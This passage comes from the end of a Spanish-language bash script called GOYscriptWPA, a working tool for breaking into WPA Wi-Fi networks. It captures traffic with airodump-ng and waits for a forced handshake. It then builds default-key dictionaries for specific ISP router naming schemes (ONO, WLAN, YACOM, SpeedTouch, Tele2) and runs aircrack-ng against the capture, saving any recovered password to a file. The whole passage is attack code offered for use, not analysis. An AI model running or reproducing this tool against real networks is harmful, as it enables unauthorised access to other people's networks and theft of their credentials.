				HANDSHAKES=`aircrack-ng captura/"$NOMBRE_AP ($MAC_GUIONES)"-$CERO$NUM.cap | grep $MAC_AP | $TAIL --bytes 14`
			fi
			SIZE_CAP=`ls -s "captura/$NOMBRE_AP ($MAC_GUIONES)"-$CERO$NUM.cap | awk '{print $1}'`
			if [ $CONT -eq 1 ]
			then
				echo -e $cyan"\r[ $SIZE_CAP KB ] Esperando $CONT segundo...  $blanco   $HANDSHAKES   \c"$grisC
			else
				if [ $CONT -lt 10 ]
				then
					echo -e $cyan"\r[ $SIZE_CAP KB ] Esperando $CONT segundos...  $blanco   $HANDSHAKES   \c"$grisC
				else
					echo -e $cyan"\r[ $SIZE_CAP KB ] Esperando $CONT segundos... $blanco   $HANDSHAKES   \c"$grisC
				fi
			fi
			if [ "$HANDSHAKES" = "(1 handshake)" ] #SI YA TENEMOS EL HANDSHAKE SALIMOS DEL BUCLE
			then
				echo -e $grisC
				break
			fi
			sleep 1
			CONT=$((CONT-1))
		done
	fi
	calcular_numero_archivo
	DATAS=`cat ./captura/"$NOMBRE_AP ($MAC_GUIONES)"-$CERO$NUM.csv | grep "WPA" | awk '{print $11}' FS=',' | awk '{gsub(/ /,""); print}'`
	if [[ $DATAS -ne 0 ]]
	then
		HANDSHAKES=`aircrack-ng captura/"$NOMBRE_AP ($MAC_GUIONES)"-$CERO$NUM.cap | grep $MAC_AP | $TAIL --bytes 14`
	fi
	if [ "$HANDSHAKES" = "(1 handshake)" ] #SI YA TENEMOS EL HANDSHAKE SALIMOS DEL BUCLE
	then
		echo -e $blanco"\n\n¡¡¡ Handshake conseguido !!!$grisC\n"
		cp -f "captura/$NOMBRE_AP ($MAC_GUIONES)-$CERO$NUM.cap" "handshakes/$NOMBRE_AP ($MAC_GUIONES).cap"
		break
	fi
	CAPTURANDO=`ps -A | grep airodump-ng | grep -v grep`
done
}

function esperar_csv
{
echo -e ""$cyan"Esperando a que se genere el archivo .CSV...\c"
CONTADOR=1
ls captura/"$NOMBRE_AP ($MAC_GUIONES)"-01.csv > /dev/null 2>&1
while [ ! $? -eq 0 ]
do
	echo -e ""$cyan".\c"
	sleep 0.2
	CONTADOR=$((CONTADOR+1))
	if [ $CONTADOR -gt 15 ]
	then
		echo -en ""$cyan"\a\033[15D               \033[15D"
		CONTADOR=1
	fi
	ls captura/"$NOMBRE_AP ($MAC_GUIONES)"-01.csv > /dev/null 2>&1
done
echo -e "$grisC\n"
}


#DESACTIVAR EL MODO MONITOR EN LA INTERFAZ VIRTUAL MON0
function desactivar_modo_monitor
{
echo -e ""$cyan"Desactivando modo monitor..."$grisC""
echo
$AIRMON stop $INTERFAZ > /dev/null 2>&1
$AIRMON stop mon0 > /dev/null 2>&1
}

function comprobar_ayuda
{
echo -e "$blanco"
echo "GOYscriptWPA $VERSION by GOYfilms"
echo
echo "Modo de uso: $0 [interfaz]"
echo
echo "Ejemplos: $0"
echo "          $0 wlan0"
echo -e "$grisC"
exit
}

#MUESTRA LA CONTRASEÑA Y EL TIEMPO QUE HA TARDADO
function mostrar_clave
{
if [ -f "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt" ]
then
	CLAVE=`cat "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt"`
	clear
	echo
	echo -e $grisC"La contraseña para la red "$cyan"\"$NOMBRE_AP\""$grisC" es:"
	echo -e $verdeC"$CLAVE"
	echo
	echo -e ""$grisC"Se ha creado el archivo "$cyan"\""$NOMBRE_AP \($MAC_GUIONES\).txt"\""
	echo -e ""$grisC"en el directorio \"wifis\", el cual contiene la contraseña."
	echo
else
	if [ -f "./handshakes/$NOMBRE_AP ($MAC_GUIONES).cap" ] && [ "$HANDSHAKES" = "(1 handshake)" ]
	then
		echo -e $grisC"Se ha guardado el handshake en el directorio \"handshake\""
		echo -e $grisC"Puedes probar a pasar diccionarios manualmente. ¡Suerte!"
		echo
	else
		if [ "$CAP" = "" ]
		then
			echo -e $rojoC"Se ha cancelado el proceso."
			echo -e $grisC
		else
			echo -e $rojoC"No ha sido posible obtener la contraseña."
		fi
	fi
fi
if [ -f "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt" ] || [ "$HANDSHAKES" = "(1 handshake)" ]
then
	echo -e $grisC"Duracion del proceso...: "$cyan"\c"
	if [ $dias -ne 0 ]	#CON ESTE "if" SE REALIZA EL DESGLOSE EN DIAS, HORAS, MINUTOS Y SEGUNDOS
	then			#DEL TIEMPO QUE TARDO EN DESENCRIPTAR LA CONTRASEÑA
		if [ $dias -eq 1 ]
		then
			echo -e "$dias dia\c"
		else
			echo -e "$dias dias\c"
		fi
		if [ $horas -ne 0 ] && [ $minutos -eq 0 ] && [ $segundos -eq 0 ]
		then
			echo -e " y \c"
		else
			if [ $horas -eq 0 ] && [ $minutos -ne 0 ] && [ $segundos -eq 0 ]
			then
				echo -e " y \c"
			else
				if [ $horas -eq 0 ] && [ $minutos -eq 0 ] && [ $segundos -ne 0 ]
				then
					echo -e " y \c"
				else
					if [ $horas -ne 0 ] || [ $minutos -ne 0 ] || [ $segundos -ne 0 ]
					then
						echo -e ", \c"
					fi
				fi
			fi
		fi
	fi
	if [ $horas -ne 0 ]
	then
		if [ $horas -eq 1 ]
		then
			echo -e "$horas hora\c"
		else
			echo -e "$horas horas\c"
		fi
		if [ $minutos -ne 0 ] && [ $segundos -eq 0 ]
		then
			echo -e " y \c"
		fi
		if [ $minutos -eq 0 ] && [ $segundos -ne 0 ]
		then
			echo -e " y \c"
		fi
		if [ $minutos -ne 0 ] && [ $segundos -ne 0 ]
		then
			echo -e ", \c"
		fi
	fi
	if [ $minutos -ne 0 ]
	then
		if [ $minutos -eq 1 ]
		then
			echo -e "$minutos minuto\c"
		else
			echo -e "$minutos minutos\c"
		fi
		if [ $segundos -ne 0 ]
		then
			echo -e " y \c"
		fi
	fi
	if [ $segundos -ne 0 ]
	then
		if [ $segundos -eq 1 ]
		then
			echo -e "$segundos segundo\c"
		else
			echo -e "$segundos segundos\c"
		fi
	fi
fi
echo -e "$grisC"
echo
}

function buscar_clave
{
DICCIONARIO=""
if [ "$NOMBRE_AP" = "Tele2" ] #CONTROLAMOS LAS REDES "Tele2"
then
	echo -e ""$verdeC"Red \"Tele2\" detectada."
	echo
	DICCIONARIO="./dic/Tele2.dic"
else
	if [ "$MAC_AP_MITAD" = "00:19:15" ]
	then
		echo -e ""$verdeC"Red \"Tele2\" detectada. El nombre de la red ha sido cambiado."
		echo
		DICCIONARIO="./dic/Tele2.dic"
	fi
fi
NOMBRE_AP_ONO=`echo $NOMBRE_AP | cut -c-3`
if [ "$NOMBRE_AP_ONO" = "ONO" ] && [ $NOMBRE_AP_LARGO -eq 7 ] #CONTROLA LAS REDES "ONOxxxx"
then
	echo -e ""$verdeC"Red \"ONOxxxx\" detectada."
	echo
	echo -e ""$cyan"Creando diccionario..."
	echo
	$ONO4XX "$NOMBRE_AP" $MAC_AP wpa ./captura/diccionario > /dev/null 2>&1
	DICCIONARIO="./captura/diccionario"
	if [ $? -ne 0 ]
	then
		echo -e ""$rojoC"No se pudo crear un diccionario para la red \"$NOMBRE_AP\"."
		echo
		DICCIONARIO=""
	fi
fi
NOMBRE_AP_WIFI=`echo $NOMBRE_AP | cut -c-4`
if [ "$NOMBRE_AP_WIFI" = "WiFi" ] && [ $NOMBRE_AP_LARGO -eq 10 ] #CONTROLA LAS REDES "WiFixxxxxx"
then
	echo -e ""$verdeC"Red \"WiFixxxxxx\" detectada."
	echo
	echo -e ""$cyan"Creando diccionario..."
	echo
	$WLAN4XX "$NOMBRE_AP" $MAC_AP ./captura/diccionario > /dev/null 2>&1
	DICCIONARIO="./captura/diccionario"
	if [ $? -ne 0 ]
	then
		echo -e ""$rojoC"No se pudo crear un diccionario para la red \"$NOMBRE_AP\"."
		echo
		DICCIONARIO=""
	fi
fi
NOMBRE_AP_WLAN=`echo $NOMBRE_AP | cut -c-4`
if [ "$NOMBRE_AP_WLAN" = "WLAN" ] && [ $NOMBRE_AP_LARGO -eq 10 ] #CONTROLA LAS REDES "WLANxxxxxx"
then
	echo -e ""$verdeC"Red \"WLANxxxxxx\" detectada."
	echo
	echo -e ""$cyan"Creando diccionario..."
	echo
	$WLAN4XX "$NOMBRE_AP" $MAC_AP ./captura/diccionario > /dev/null 2>&1
	DICCIONARIO="./captura/diccionario"
	if [ $? -ne 0 ]
	then
		echo -e ""$rojoC"No se pudo crear un diccionario para la red \"$NOMBRE_AP\"."
		echo
		DICCIONARIO=""
	fi
fi
NOMBRE_AP_YACOM=`echo $NOMBRE_AP | cut -c-5`
if [ "$NOMBRE_AP_YACOM" = "YACOM" ] && [ $NOMBRE_AP_LARGO -eq 11 ] #CONTROLA LAS REDES "YACOMxxxxxx"
then
	echo -e ""$verdeC"Red \"YACOMxxxxxx\" detectada."
	echo
	echo -e ""$cyan"Creando diccionario..."
	echo
	$WLAN4XX "$NOMBRE_AP" $MAC_AP ./captura/diccionario > /dev/null 2>&1
	DICCIONARIO="./captura/diccionario"
	if [ $? -ne 0 ]
	then
		echo -e ""$rojoC"No se pudo crear un diccionario para la red \"$NOMBRE_AP\"."
		echo
		DICCIONARIO=""
	fi
fi
NOMBRE_AP_SPEEDTOUCH=`echo $NOMBRE_AP | cut -c-10`
OCTETOS_SPEEDTOUCH=`echo -n $NOMBRE_AP | $TAIL --bytes 6`
if [ "$NOMBRE_AP_SPEEDTOUCH" = "SpeedTouch" ] && [ $NOMBRE_AP_LARGO -eq 16 ] #CONTROLA LAS REDES "SpeedTouchxxxxxx"
then
	echo -e ""$verdeC"Red \"SpeedTouchxxxxxx\" detectada."
	echo
	echo -e ""$cyan"Creando diccionario..."
	echo
	$STKEYS -i "$OCTETOS_SPEEDTOUCH" -o ./captura/diccionario > /dev/null 2>&1
	DICCIONARIO="./captura/diccionario"
	if [ $? -ne 0 ]
	then
		echo -e ""$rojoC"No se pudo crear un diccionario para la red \"$NOMBRE_AP\"."
		echo
		DICCIONARIO=""
	fi
fi
if [ "$DICCIONARIO" != "" ]
then
	LINEAS=`cat "$DICCIONARIO" | wc -l`
	echo -e ""$cyan"Buscando con el diccionario \"$DICCIONARIO\" ($LINEAS contraseñas)..."
	echo
	if [ "$CAP" = "" ]
	then
		xterm $NORMAL $FUENTE $AIRCRACK_VENTANA -title "Probando contraseñas de \"$DICCIONARIO\"" -e $AIRCRACK -0 -w "$DICCIONARIO" "./handshakes/$NOMBRE_AP ($MAC_GUIONES).cap" -l "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt"
	else
		xterm $NORMAL $FUENTE $AIRCRACK_VENTANA -title "Probando contraseñas de \"$DICCIONARIO\"" -e $AIRCRACK -0 -w "$DICCIONARIO" "$CAP" -l "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt"
	fi
fi
EXISTE=`find wifis | grep "$NOMBRE_AP ($MAC_GUIONES).txt"`
if [ "$EXISTE" = "" ]
then
	DICCIONARIOS=`find ./dic | grep 'generico.'`
	let CUANTOS_HAY=`echo "$DICCIONARIOS" | wc -l`
	let CONT=1
	echo -e $cyanC"Se han detectado $CUANTOS_HAY diccionarios genericos:"
	echo -e $cyanC"$DICCIONARIOS"
	echo
	echo
	while [ $CONT -le $CUANTOS_HAY ]
	do
		DICCIONARIO=`echo "$DICCIONARIOS" | sed -n ${CONT}p`
		LINEAS=`cat "$DICCIONARIO" | wc -l`
		echo -e $cyanC"Buscando con el diccionario nº $CONT \"$DICCIONARIO\" ($LINEAS contraseñas)..."
		echo
		xterm $NORMAL $FUENTE $AIRCRACK_VENTANA -title "Probando contraseñas de \"$DICCIONARIO\"" -e $AIRCRACK -0 -w "$DICCIONARIO" "./handshakes/$NOMBRE_AP ($MAC_GUIONES).cap" -l "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt"
		EXISTE=`find wifis | grep "$NOMBRE_AP ($MAC_GUIONES).txt"`
		if [ "$EXISTE" != "" ]
		then
			break #SI CON EL DICCIONARIO ACTUAL SE ENCUENTRA LA CONTRASEÑA SALE DEL BUCLE
		fi
		let CONT=$CONT+1
	done
fi
}

function pulsar_una_tecla
{
rm -rf "./captura/$NOMBRE_AP ($MAC_GUIONES)*" > /dev/null 2>&1
echo
echo -e $blanco"Pulsa una tecla para salir"$grisC" \c"
read -n 1 TECLA
echo
exit
}

##### PROGRAMA PRINCIPAL #####

if [ "$1" == "--help" ] || [ "$1" == "--ayuda" ] || [ "$1" == "/?" ]
then
	comprobar_ayuda
fi

matar_procesos " Iniciando..."

version

if [[ -e "/sys/class/net/$1/device/driver" ]]  #Para controlar si existe la interfaz pasada como parametro.
then                                           #Si no existe, muestra las que hay para que seleccionemos una
	INTERFAZ=$1
else
	seleccionar_tarjeta
fi

borrar_sesiones_anteriores

mostrar_resolucion_de_pantalla

iniciar_tarjeta

activar_modo_monitor

seleccionar_red

mostrar_datos_seleccionados

comprobar_wlan_jazztel_xxxx

CAP=`find handshakes | grep "$NOMBRE_AP ($MAC_GUIONES).cap"`

if [ -f "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt" ]
then
	echo
	echo -e ""$verdeC""$parpadeoON"¡¡¡ CONTRASEÑA ENCONTRADA !!! "$parpadeoOFF""$gris" "
	echo
	matar_procesos "Cerrando los procesos abiertos..."

else
	if [ "$CAP" != "" ]
	then
		echo -e ""$verdeC"El handshake ya fue capturado anteriormente."
		echo
		buscar_clave
	else
		captura_de_paquetes &
		
		esperar_csv
		
		controlar_tamano_captura &
		
		forzar_handshake
		
		matar_procesos "\nCerrando los procesos abiertos..."
		
		rm -rf "captura/$NOMBRE_AP ($MAC_GUIONES)*"
	
		buscar_clave
	fi
fi

hora_fin

calcular_tiempo

mostrar_clave

pulsar_una_tecla

#FIN, THE END, FINITO, SE FINI, etc...